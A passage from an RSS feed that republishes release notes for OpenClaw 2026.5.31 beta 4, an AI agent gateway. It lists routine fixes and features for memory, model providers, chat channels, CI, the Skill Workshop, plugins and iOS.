<li>Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259457800" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66339/hovercard" href="https://github.com/openclaw/openclaw/issues/66339">#66339</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510532697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85931" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85931/hovercard" href="https://github.com/openclaw/openclaw/pull/85931">#85931</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>.</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: resolve Google defaults to <code>google-generative-ai</code>, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>)</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr <code>npub</code> allowlists correctly, and suppress raw provider errors during channel delivery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4545822590" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87896" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87896/hovercard" href="https://github.com/openclaw/openclaw/pull/87896">#87896</a>)</li>
<li>Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554055557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88288/hovercard" href="https://github.com/openclaw/openclaw/pull/88288">#88288</a>)</li>
<li>Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from <code>sessions.list</code>, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.</li>
<li>OpenAI/TTS: handle speed directives for OpenAI TTS voices. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348062227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74089/hovercard" href="https://github.com/openclaw/openclaw/pull/74089">#74089</a>)</li>
<li>CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.31 beta 4]]></title>
<description><![CDATA[Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Disc...]]></description>
<link>https://tsecurity.de/de/3561696/downloads/openclaw-2026531-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561696/downloads/openclaw-2026531-beta-4/</guid>
<pubDate>Mon, 01 Jun 2026 04:31:13 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer <code>agents add</code>, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463729976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83115" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83115/hovercard" href="https://github.com/openclaw/openclaw/issues/83115">#83115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554276259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88314" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88314/hovercard" href="https://github.com/openclaw/openclaw/pull/88314">#88314</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558636505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88749/hovercard" href="https://github.com/openclaw/openclaw/pull/88749">#88749</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>)</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>iOS: support native iPad display layouts.</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Workboard: wire task-backed board runs and show task comments in the edit modal.</li>
<li>Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Code mode: add MCP API files and docs for code-mode integrations.</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Control UI: add calmer chat composer controls for active chat entry. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>)</li>
<li>Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354639496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74715" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74715/hovercard" href="https://github.com/openclaw/openclaw/pull/74715">#74715</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VladyslavLevchuk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VladyslavLevchuk">@VladyslavLevchuk</a>.</li>
<li>Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558368986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88721/hovercard" href="https://github.com/openclaw/openclaw/pull/88721">#88721</a>)</li>
